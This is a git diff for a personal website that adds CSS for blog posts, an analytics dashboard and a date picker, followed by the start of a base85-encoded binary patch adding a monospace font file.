var(--hover-color); + transition: color 0.3s ease; +} + +.rss-icon { + width: 32px; + height: 32px; + display: block; + color: #904b59; + transition: color 0.3s ease; +} + +[data-theme="dark"] .rss-icon { + color: #9F789A; +} + +[data-theme="dark"] .rss-icon-link:hover .rss-icon { + color: #326B78; +} + +.rss-link { + font-size: 24px !important; + margin-top: 10px; + color: var(--text-primary); + text-decoration: none; + transition: color 0.3s ease; +} + +.rss-link:hover { + color: var(--hover-color); + text-decoration: underline; +} + +.blog-page-title { + font-size: 48px; + color: var(--text-primary); + margin: 0; + line-height: 1; + display: flex; + align-items: center; + transition: color 0.3s ease; +} + +.blog-posts-container { + display: flex; + flex-direction: column; + align-items: center; + gap: 30px; + padding: 20px; + max-width: 900px; + margin: 0 auto; +} + +.blog-post { + background-color: var(--bg-color); + box-shadow: 5px 5px 1px 2px var(--shadow-color); + border-radius: 8px; + border: var(--border-accent) solid 4px; + padding: 40px; + width: 100%; + transition: transform 0.2s ease, box-shadow 0.2s ease, background-color 0.3s ease, border-color 0.3s ease; +} + +.blog-post:hover { + box-shadow: 7px 7px 2px 3px var(--shadow-color); +} + +.blog-post-title { + font-size: 36px; + color: var(--text-primary); + margin: 0 0 15px 0; + border-bottom: solid 2px var(--border-accent); + padding-bottom: 15px; + line-height: 1.3; + transition: color 0.3s ease, border-color 0.3s ease; +} + +.analytics-section-title { + font-size: 30px; + color: var(--text-primary); + margin: 30px 0 20px 0; + line-height: 1.3; + transition: color 0.3s ease; +} + +.timezone-note { + font-size: 14px; + color: var(--text-secondary); + font-weight: 400; +} + +.blog-post-date { + font-size: 20px; + color: var(--text-secondary); + margin: 0 0 20px 0; + font-weight: 300; + transition: color 0.3s ease; +} + +.blog-post-excerpt { + font-size: 24px; + color: var(--text-primary); + margin: 0 0 25px 0; + font-style: italic; + padding-bottom: 15px; + border-bottom: 3px solid var(--border-accent); + line-height: 1.6; + transition: color 0.3s ease, border-color 0.3s ease; +} + +.blog-post-content { + font-size: 22px; + color: var(--text-primary); + line-height: 1.8; + margin-top: 20px; + transition: color 0.3s ease; +} + +.blog-post-content p { + margin: 0 0 20px 0; + text-align: justify; + text-justify: inter-word; +} + +.blog-post-content p:last-child { + margin-bottom: 0; +} + +.blog-post-content p:first-of-type { + margin-top: 0; +} + +.blog-post-content pre { + background-color: var(--bg-secondary); + border: 1px solid var(--border-color); + border-radius: 6px; + padding: 15px; + overflow-x: auto; + margin: 15px 0; + max-width: 100%; +} + +.blog-post-content code { + font-family: 'Courier New', Courier, monospace; + font-size: 0.9em; + background-color: var(--bg-secondary); + padding: 2px 6px; + border-radius: 4px; +} + +.blog-post-content pre code { + padding: 0; + background-color: transparent; + font-size: 0.85em; + white-space: pre; + display: block; +} + +.blog-post-signature { + text-align: center; + font-size: 22px; + color: var(--text-secondary); + margin: 0; + font-style: italic; + padding: 0; + border: none; + flex: 1; + min-width: 200px; + transition: color 0.3s ease; +} + +.reactions-share-wrapper { + display: flex; + flex-direction: row; + align-items: center; + justify-content: space-between; + gap: 30px; + margin-top: 30px; + padding-top: 20px; + border-top: 3px solid var(--border-accent); + flex-wrap: wrap; + transition: border-color 0.3s ease; +} + +.reactions-container, .share-container { + display: flex; + flex-direction: column; + align-items: center; + gap: 10px; + flex: 0 0 auto; +} + +.reactions-label, .share-label { + font-size: 20px; + color: var(--text-secondary); + font-weight: 300; + transition: color 0.3s ease; +} + +.reactions-buttons, .share-buttons { + display: flex; + align-items: center; + gap: 15px; + flex-wrap: wrap; + justify-content: center; +} + +.reaction-btn { + background: none; + border: none; + padding: 5px 10px; + color: var(--text-primary); + cursor: pointer; + transition: color 0.3s ease; + display: flex; + align-items: center; + gap: 5px; + box-shadow: none; + outline: none; + text-shadow: none; +} + +[data-theme="dark"] .reaction-btn { + color: #59C99C; +} + +.reaction-btn:hover { + color: var(--hover-color); + box-shadow: none; + outline: none; +} + +[data-theme="dark"] .reaction-btn:hover { + color: #326B78; +} + +.reaction-btn:focus { + outline: none; + box-shadow: none; +} + +.reaction-icon-img, +.share-icon-img { + width: 20px; + height: 20px; + display: inline-block; + vertical-align: middle; + transition: fill 0.3s ease, opacity 0.3s ease, color 0.3s ease; + color: inherit; +} + +.reaction-icon-img path, +.reaction-icon-img g[fill="currentColor"], +.reaction-icon-img g[fill="currentColor"] path, +.reaction-icon-img g[fill="currentColor"] g path, +.share-icon-img path, +.share-icon-img polyline { + fill: currentColor; + stroke: currentColor; + transition: fill 0.3s ease, stroke 0.3s ease; +} + +[data-theme="dark"] .reaction-icon-img { + color: #59C99C !important; +} + +[data-theme="dark"] .reaction-icon-img g[fill="currentColor"], +[data-theme="dark"] .reaction-icon-img g[fill="currentColor"] path, +[data-theme="dark"] .reaction-icon-img g[fill="currentColor"] g path, +[data-theme="dark"] .reaction-icon-img path, +[data-theme="dark"] .share-icon-img { + color: #59C99C !important; +} + +[data-theme="dark"] .share-icon-img path, +[data-theme="dark"] .share-icon-img polyline, +[data-theme="dark"] .reaction-icon-img g[fill="currentColor"], +[data-theme="dark"] .reaction-icon-img g[fill="currentColor"] path, +[data-theme="dark"] .reaction-icon-img g[fill="currentColor"] g path, +[data-theme="dark"] .reaction-icon-img path { + fill: #59C99C !important; + stroke: #59C99C !important; +} + +[data-theme="dark"] .reaction-btn:hover .reaction-icon-img { + color: #326B78 !important; +} + +[data-theme="dark"] .reaction-btn:hover .reaction-icon-img g[fill="currentColor"], +[data-theme="dark"] .reaction-btn:hover .reaction-icon-img g[fill="currentColor"] path, +[data-theme="dark"] .reaction-btn:hover .reaction-icon-img g[fill="currentColor"] g path, +[data-theme="dark"] .reaction-btn:hover .reaction-icon-img path { + fill: #326B78 !important; + stroke: #326B78 !important; +} + +[data-theme="dark"] .share-btn:hover .share-icon-img { + color: #326B78 !important; +} + +[data-theme="dark"] .share-btn:hover .share-icon-img path, +[data-theme="dark"] .share-btn:hover .share-icon-img polyline { + fill: #326B78 !important; + stroke: #326B78 !important; +} + +.reaction-btn:hover .reaction-icon-img, +.share-btn:hover .share-icon-img { + opacity: 0.8; +} + +[data-theme="dark"] .reaction-btn:hover .reaction-icon-img, +[data-theme="dark"] .share-btn:hover .share-icon-img { + opacity: 1; +} + +.reaction-count { + font-size: 20px; + color: var(--text-secondary); + font-weight: 300; + transition: color 0.3s ease; +} + +.share-btn { + background: none; + border: none; + padding: 5px 10px; + color: var(--text-primary); + cursor: pointer; + transition: color 0.3s ease; + display: inline-flex; + align-items: center; + justify-content: center; + box-shadow: none; + outline: none; + text-shadow: none; +} + +[data-theme="dark"] .share-btn { + color: #59C99C; +} + +.share-btn:hover { + color: var(--hover-color); + box-shadow: none; + outline: none; +} + +[data-theme="dark"] .share-btn:hover { + color: #326B78; +} + +.share-btn:focus { + outline: none; + box-shadow: none; +} + +.error { + color: var(--border-accent); + font-size: 24px; + text-align: center; + padding: 20px; + transition: color 0.3s ease; +} + +.analytics-container { + max-width: 1200px; + margin: 0 auto; + padding: 20px; +} + +.stats-grid { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); + gap: 20px; + margin: 20px 0; +} + +.stat-card { + background-color: var(--bg-color); + box-shadow: 5px 5px 1px 2px var(--shadow-color); + border-radius: 8px; + border: var(--border-accent) solid 4px; + padding: 20px; + transition: background-color 0.3s ease, border-color 0.3s ease, box-shadow 0.3s ease; +} + +.stat-value { + font-size: 48px; + color: var(--text-primary); + font-weight: 200; + transition: color 0.3s ease; +} + +.stat-label { + font-size: 20px; + color: var(--text-secondary); + margin-top: 10px; + transition: color 0.3s ease; +} + +.hour-chart { + display: flex; + flex-direction: row; + align-items: flex-end; + justify-content: space-between; + gap: 4px; + margin-top: 20px; + padding: 20px 10px 40px 10px; + height: 300px; +} + +.hour-bar { + display: flex; + flex-direction: column; + align-items: center; + justify-content: flex-end; + gap: 5px; + flex: 1; + max-width: calc(100% / 24); + height: 260px; +} + +.hour-visual { + width: 100%; + background-color: var(--text-primary); + border-radius: 4px 4px 0 0; + display: flex; + align-items: flex-end; + justify-content: center; + padding: 5px 0; + color: var(--bg-color); + font-size: 12px; + transition: background-color 0.3s ease, opacity 0.3s ease, color 0.3s ease; + opacity: 0.85; + flex: none; + height: var(--bar-height, 0px); + flex-basis: var(--bar-height, 0px); + min-height: 0; +} + +.hour-visual:hover { + background-color: var(--hover-color); + opacity: 1; +} + +.hour-label { + font-size: 14px; + color: var(--text-secondary); + writing-mode: horizontal-tb; + text-align: center; + margin-top: 5px; + transition: color 0.3s ease; +} + +.date-selector-wrapper { + position: relative; + display: flex; + flex-direction: column; + margin: 0; + width: 200px; + min-width: 200px; + max-width: 200px; +} + +.date-selector { + margin: 0; + padding: 10px; + font-size: 20px; + border: 4px solid var(--border-accent); + border-radius: 8px; + background-color: var(--bg-color); + color: var(--text-primary); + box-shadow: 5px 5px 1px 2px var(--shadow-color); + cursor: pointer; + width: 200px !important; + min-width: 200px !important; + max-width: 200px !important; + box-sizing: border-box; + flex-shrink: 0; + position: relative; + transition: background-color 0.3s ease, color 0.3s ease, border-color 0.3s ease, box-shadow 0.3s ease; +} + +.date-selector:hover { + border-color: var(--hover-color); + width: 200px !important; +} + +.date-selector:focus { + outline: none; + border-color: var(--hover-color); + width: 200px !important; + box-shadow: 5px 5px 1px 2px var(--shadow-color); +} + +.date-selector:active { + width: 200px !important; +} + +.date-selector::-webkit-calendar-picker-indicator { + display: none; +} + +.date-selector::-webkit-datetime-edit { + color: var(--text-primary); +} + +.date-selector::-webkit-datetime-edit-fields-wrapper { + color: var(--text-primary); +} + +.date-selector::-webkit-datetime-edit-text { + color: var(--text-secondary); +} + +.date-selector::-webkit-datetime-edit-month-field, +.date-selector::-webkit-datetime-edit-day-field, +.date-selector::-webkit-datetime-edit-year-field { + color: var(--text-primary); +} + +.custom-calendar { + position: absolute; + top: 100%; + left: 0; + margin-top: 5px; + background-color: var(--bg-color); + border: 4px solid var(--border-accent); + border-radius: 8px; + box-shadow: 5px 5px 1px 2px var(--shadow-color); + padding: 15px; + z-index: 1000; + display: none; + width: 350px; + box-sizing: border-box; + min-width: 350px; + max-width: 350px; + transition: background-color 0.3s ease, border-color 0.3s ease, box-shadow 0.3s ease; +} + +.custom-calendar.show { + display: block; +} + +.calendar-header { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 15px; +} + +.calendar-nav-btn { + background-color: var(--bg-color); + border: 4px solid var(--border-accent); + border-radius: 8px; + color: var(--text-primary); + font-size: 18px; + padding: 5px 15px; + cursor: pointer; + box-shadow: 3px 3px 1px 1px var(--shadow-color); + transition: border-color 0.3s ease, color 0.3s ease, background-color 0.3s ease; +} + +.calendar-nav-btn:hover { + border-color: var(--hover-color); + color: var(--hover-color); +} + +.calendar-month-year { + font-size: 20px; + color: var(--text-primary); + font-weight: 200; + transition: color 0.3s ease; +} + +.calendar-weekdays { + display: grid; + grid-template-columns: repeat(7, 1fr); + gap: 5px; + margin-bottom: 10px; +} + +.calendar-weekday { + text-align: center; + font-size: 16px; + color: var(--text-secondary); + font-weight: 300; + transition: color 0.3s ease; +} + +.calendar-days { + display: grid; + grid-template-columns: repeat(7, 1fr); + gap: 5px; +} + +.calendar-day { + background-color: var(--bg-color); + border: 2px solid var(--border-accent); + border-radius: 4px; + color: var(--text-primary); + font-size: 16px; + padding: 10px 8px; + text-align: center; + cursor: pointer; + transition: background-color 0.3s ease, border-color 0.3s ease, color 0.3s ease; +} + +.calendar-day:hover { + background-color: var(--hover-color); + border-color: var(--hover-color); + color: var(--bg-color); +} + +.calendar-day.other-month { + color: var(--text-secondary); + opacity: 0.5; +} + +.calendar-day.today { + border-color: var(--text-primary); + border-width: 3px; + font-weight: 400; +} + +.calendar-day.selected { + background-color: var(--text-primary); + border-color: var(--text-primary); + color: var(--bg-color); +} + +.visitors-table { + width: 100%; + border-collapse: collapse; + margin-top: 10px; +} + +.visitors-table thead { + background-color: var(--bg-color); + border-bottom: 2px solid var(--border-accent); +} + +.visitors-table th { + padding: 12px 8px; + text-align: left; + color: var(--text-primary); + font-weight: bold; + font-size: 14px; +} + +.visitors-table td { + padding: 10px 8px; + border-bottom: 1px solid var(--border-accent); + color: var(--text-secondary); + font-size: 13px; +} + +.visitors-table tbody tr:hover { + background-color: var(--hover-color); + transition: background-color 0.2s ease; +} + +.visitor-time { + font-family: monospace; + color: var(--text-primary); +} + +.visitor-ip { + font-family: monospace; + color: var(--text-primary); +} + +.visitor-location { + color: var(--text-secondary); +} + +.country-code { + display: inline-block; + margin-left: 6px; + padding: 2px 6px; + background-color: var(--border-accent); + color: var(--bg-color); + border-radius: 3px; + font-size: 11px; + font-weight: bold; +} + +.visitor-isp { + color: var(--text-secondary); + font-size: 12px; +} + +.visitor-page { + font-family: monospace; + color: var(--text-secondary); + font-size: 12px; + max-width: 200px; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + +[data-theme="dark"] .visitors-table thead { + background-color: var(--bg-color); +} + +[data-theme="dark"] .visitors-table tbody tr:hover { + background-color: rgba(50, 107, 120, 0.2); +} + +[data-theme="dark"] .country-code { + background-color: var(--border-accent); + color: var(--bg-color); +} + +.blog-posts-stats { + margin-top: 30px; +} + +.post-stat-card { + background-color: var(--bg-color); + box-shadow: 5px 5px 1px 2px var(--shadow-color); + border-radius: 8px; + border: var(--border-accent) solid 4px; + padding: 20px; + margin-bottom: 20px; + transition: background-color 0.3s ease, border-color 0.3s ease, box-shadow 0.3s ease; +} + +.post-stat-title { + font-size: 24px; + color: var(--text-primary); + margin: 0 0 15px 0; + padding-bottom: 10px; + transition: color 0.3s ease; +} + +.post-stat-row { + display: flex; + gap: 20px; + margin-top: 10px; + flex-wrap: wrap; +} + +.post-stat-item { + display: flex; + flex-direction: column; + gap: 5px; +} + +.post-stat-item-label { + font-size: 16px; + color: var(--text-secondary); + transition: color 0.3s ease; +} + +.post-stat-item-value { + font-size: 28px; + color: var(--text-primary); + font-weight: 200; + transition: color 0.3s ease; +} + +.date-selector-container { + display: flex; + flex-direction: column; + align-items: flex-start; + gap: 15px; + flex-shrink: 0; + margin-bottom: 20px; +} + +.date-selectors-wrapper { + display: flex; + align-items: flex-end; + gap: 20px; + flex-wrap: nowrap; +} + +.date-label { + display: block; + margin-bottom: 5px; + font-size: 14px; + color: var(--text-secondary); + font-weight: 500; + height: 20px; + line-height: 20px; + flex-shrink: 0; +} + +.date-go-button-wrapper { + display: flex; + align-items: flex-end; + height: 100%; + padding-bottom: 0; +} + +.go-button { + padding: 10px; + font-size: 20px; + border: 4px solid var(--border-accent); + border-radius: 8px; + background-color: var(--bg-color); + color: var(--text-primary); + box-shadow: 5px 5px 1px 2px var(--shadow-color); + cursor: pointer; + font-weight: 500; + transition: background-color 0.3s ease, color 0.3s ease, border-color 0.3s ease, box-shadow 0.3s ease; + font-family: inherit; + box-sizing: border-box; + text-align: center; + display: flex; + align-items: center; + justify-content: center; + height: 40px; + width: 40px; + min-width: 40px; + max-width: 40px; + min-height: 40px; + max-height: 40px; +} + +.go-button:hover { + border-color: var(--hover-color); + background-color: var(--hover-color); + color: var(--bg-color); +} + +.go-button:active { + box-shadow: 3px 3px 1px 1px var(--shadow-color); + transform: translate(2px, 2px); +} + +/* Blog Layout with Sidebar */ +.blog-layout { + display: flex; + flex-direction: row; + gap: 30px; + max-width: 1400px; + margin: 0 auto; + padding: 20px; + align-items: flex-start; +} + +.blog-sidebar { + position: sticky; + top: 20px; + width: 200px; + flex-shrink: 0; + background-color: transparent; + border: none; + border-radius: 0; + padding: 0; + box-shadow: none; + transition: background-color 0.3s ease, border-color 0.3s ease; +} + +.sidebar-nav { + display: flex; + flex-direction: column; + gap: 6px; + padding-left: 20px; + padding-right: 20px; + padding-bottom: 20px; + padding-top: 20px; + margin-top: 0; +} + +.sidebar-post-link { + color: var(--text-primary); + text-decoration: none; + font-size: 10px; + padding: 4px 8px; + border-radius: 3px; + transition: background-color 0.3s ease, color 0.3s ease; + display: block; + line-height: 1.4; +} + +.sidebar-post-link:hover { + background-color: var(--hover-color); + color: var(--bg-color); +} + +.sidebar-post-link.active { + background-color: var(--border-accent); + color: var(--text-primary); + font-weight: 400; + padding: 4px 8px; +} + +.blog-main-content { + flex: 1; + min-width: 0; + display: flex; + flex-direction: column; +} + +.blog-post-container { + display: flex; + flex-direction: column; + padding: 0; + width: 100%; + flex: 1; +} + +.cheatsheet-category { + margin-top: 40px !important; + margin-bottom: 20px !important; + font-size: 38px !important; + font-weight: 600 !important; + color: var(--text-primary) !important; + border-bottom: solid 2px var(--border-accent) !important; + padding-bottom: 10px !important; + text-align: center !important; + width: 100% !important; +} + +.blog-post-preview { + background-color: var(--bg-color); + box-shadow: 5px 5px 1px 2px var(--shadow-color); + border-radius: 8px; + border: var(--border-accent) solid 4px; + padding: 30px; + width: 100%; + margin-bottom: 20px; + transition: transform 0.2s ease, box-shadow 0.2s ease, background-color 0.3s ease, border-color 0.3s ease; +} + +.blog-post-preview:hover { + box-shadow: 7px 7px 2px 3px var(--shadow-color); + transform: translateY(-2px); +} + +.blog-post-link { + color: var(--text-primary); + text-decoration: none; + transition: color 0.3s ease; +} + +.blog-post-link:hover { + color: var(--hover-color); +} + +.blog-read-more { + display: inline-block; + margin-top: 15px; + color: var(--text-primary); + text-decoration: none; + font-size: 18px; + font-weight: 500; + transition: color 0.3s ease; +} + +.blog-read-more:hover { + color: var(--hover-color); + text-decoration: underline; +} + +/* Responsive design for mobile */ +@media only screen and (max-width: 768px) { + .blog-layout { + flex-direction: column; + padding: 10px; + } + + .blog-sidebar { + position: static; + width: 100%; + order: 2; + } + + .blog-main-content { + order: 1; + } + + .sidebar-nav { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(100px, 1fr)); + gap: 10px; + } +} + +/* Error page styles */ +.error-container { + text-align: center; + margin-top: 50px; + max-width: 800px; + margin-left: auto; + margin-right: auto; + padding: 20px; +} + +.error-code { + font-size: 4em; + margin-bottom: 20px; +} + +.error-title { + margin-bottom: 30px; +} + +.error-message { + font-size: 1.2em; + margin-bottom: 30px; + font-style: italic; + color: var(--text-secondary, #62696D); +} + +.error-back-link { + margin-top: 40px; +} + +.error-back-link a { + color: var(--text-primary); + text-decoration: none; + font-size: 1.2em; + transition: color 0.3s ease; +} + +.error-back-link a:hover { + color: var(--hover-color); + text-decoration: underline; +} diff --git a/assets/fonts/GohuFont14NerdFontMono-Regular.ttf b/assets/fonts/GohuFont14NerdFontMono-Regular.ttf new file mode 100755 index 0000000000000000000000000000000000000000..f9607d60aa63377247aa002d1906ec52e5e6571e GIT binary patch literal 2089400 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 